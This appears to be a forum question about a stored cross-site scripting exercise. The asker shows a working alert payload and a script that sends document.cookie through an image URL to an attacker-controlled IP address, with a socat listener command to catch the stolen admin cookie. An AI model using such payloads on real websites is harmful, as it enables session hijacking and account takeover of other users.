Two parts to this question.
- Let's say there is a site which accepts my input and sends it in XML format to server. When I enter the input as shown here: https://ghostbin.com/paste/hc5n6
The reason I put the code at above link is because I cannot insert the code here. It does not format properly.
It adds a new line in the HTML page response:
<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn
I even receive a popup and the JavaScript executes successfully.
So, as I understand, the page is vulnerable to persistent XSS? Since those entries are persistent on the web page and each time I reload the web page, the javascript is a part of the HTML response.
- Now, I want to steal the admin cookie (this is part of an exercise where the server is remote). It is not a Local area network.
I constructed my payload as shown below:
<![CDATA[rn
<script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
]]>
Here, ip_address is my local IP address (as returned by ifconfig).
I run socat on my local machine as shown below:
socat TCP-LISTEN:80,reuseaddr,fork -
Now, my question is, how can I receive the admin cookie using above method?
Because the server is remote. When the administrator visits the page with persistent XSS, how will the cookie of administrator be transmitted to me?
Do I need to supply my public IP address in above image URL instead of the local IP address?